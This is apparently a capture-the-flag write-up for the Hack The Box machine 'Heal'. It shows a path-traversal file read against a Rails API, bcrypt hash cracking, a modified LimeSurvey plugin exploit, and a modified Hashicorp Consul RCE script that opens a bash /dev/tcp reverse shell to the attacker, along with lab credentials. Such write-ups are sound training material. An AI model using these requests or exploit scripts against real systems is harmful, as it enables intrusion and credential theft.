0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

16 May 2025

Heal

by 0xW1LD

Heal

Information Gathering

Enumeration

nmap find the following ports open:

1
2
3
4
5
6
7
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 18:10 AEDT
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Service Version scan and Default scripts show the following information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68af80866e617ebf0bea1052d77a943d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
|   256 52f48df1c785b66fc65fb2dba61768ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 800D9D6AD40E40173F19D5EE9752AC18
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Heal Resume Builder

Looking though the webpage Heal

Pasted image 20250207181841.png

We find a resume builder.

Attempting to register we run into something went wrong!

This is because the site requesting api.heal.htb which isn’t in our hosts file:

Pasted image 20250207182235.png

Successfully registering immediately logs the user in and redirects them to /resume

Pasted image 20250207182413.png

In this page clicking the Export As PDF button sends a POSTrequest to api.heal.htb/exports to export our PDF data, and then api.heal.htb/download?filename= to download our exported PDF.

Pasted image 20250207182846.png

We also see /profile with an interesting id and admin parameters

Pasted image 20250207182452.png

Another page is: /survey which leads to take-survey.heal.htb

Heal Take-Survey

` LimeSurvey Community Edition Version 6.6.4 `

Pasted image 20250207182553.png

The survey site is powered by Lime-Survey and we can see admin: ralph

Pasted image 20250207182644.png

/admin takes us to /index.php/admin/authentication/sa/login:

Pasted image 20250207190829.png

Vulnerable to: cve-2021-44967

Heal API

api.heal.htb shows us that it is running Ruby 3.3.5 on Rails 7.1.4

Pasted image 20250207183003.png

Heal API LFI

Playing around with the POST request sent by the download button we can find an LFI

api.heal.htb/downloads?filename=

1
2
3
4
5
6
7
8
9
10
GET /download?filename=../../../../../../../../../../etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
Connection: keep-alive
Referer: http://heal.htb/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 07 Feb 2025 07:38:00 GMT
Content-Type: application/octet-stream
Content-Length: 2120
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers: 
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: attachment; filename="passwd"; filename*=UTF-8''passwd
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: 0a9cf58b-919f-471f-a15e-9f19bf0a5579
x-runtime: 0.002584
vary: Origin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash

Exploitation

Ruby on Rails API LFI

config/database.yml

Looking around for interesting files for Ruby on Rails we can eventually find this:

Configuring a database

1
2
3
4
5
6
7
8
9
10
GET /download?filename=../../config/database.yml HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
Connection: keep-alive
Referer: http://heal.htb/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 07 Feb 2025 07:53:07 GMT
Content-Type: application/x-yaml
Content-Length: 636
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers: 
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: attachment; filename="database.yml"; filename*=UTF-8''database.yml
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: f6341a0e-eafa-45db-b6f2-254f7ac8d64b
x-runtime: 0.002526
vary: Origin

# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000

development:
<<: *default database: storage/development.sqlite3 # Warning: The database defined as "test" will be erased and # re-generated from your development database when you run "rake" . # Do not set this db to the same as development or production. test: <<: *default database: storage/test.sqlite3 production: <<: *default database: storage/development.sqlite3

Seeing that we have found the location of the database: storage/development.sqlite3

downloading the file we can access it through sqlite3:

1
2
sqlite> select * from users;
ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

Cracking password:

1
2
3
4
5
6
7
8
9
10
11
# john --wordlist=`fzf-wordlists` ralph.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] truncated (property of the hash)
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
147258369        (?)
1g 0:00:00:04 DONE (2025-02-07 19:05) 0.2188g/s 126.0p/s 126.0c/s 126.0C/s 12345678910..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

the password only works to login on http://heal.htb and http://take-survey.heal.htb

Retrying the LFI gives the same permissions even as admin.

Lime-Survey RCE

Updates to PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>w1ld</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>w1ld</author>
-       <version>5.0</version>
+       <version>6.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
                <![CDATA[Author : w1ld]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
+       <version>6.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

Following instructions on the github gets us shell as www-data

Post-Exploitation

www-data

shell as www-data we find the following in : /var/www/limesurvey/application/config

1
2
3
4
5
6
7
8
9
10
<SNIP>
'db' => array(
	'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
	'emulatePrepare' => true,
	'username' => 'db_user',
	'password' => 'AdmiDi0_pA$$w0rd',
	'charset' => 'utf8',
	'tablePrefix' => 'lime_',
),
</SNIP>

This password is ron’s password re-used. Just like that we have User!

Ron

Checking for listening ports as ron found a lot of ports listening:

1
2
3
4
5
6
7
8
9
10
11
12
13
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8500          0.0.0.0:*               LISTEN      -                                                                                                                                tcp        0      0 127.0.0.1:8503          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8600          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8300          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8301          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8302          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3001          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Consul by Hashicorp

Exploit

Using: PoC

Updates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul

import requests, sys

- if len(sys.argv) < 6:
+ if len(sys.argv) < 5:
    print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
    exit(1)

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
- headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

try:
-    requests.put(target, headers=headers, json=json)
+    requests.put(target, json=json)
    print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
    print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")

executing this leads to root shell Just like that we have root!

tags: os/linux - diff/medium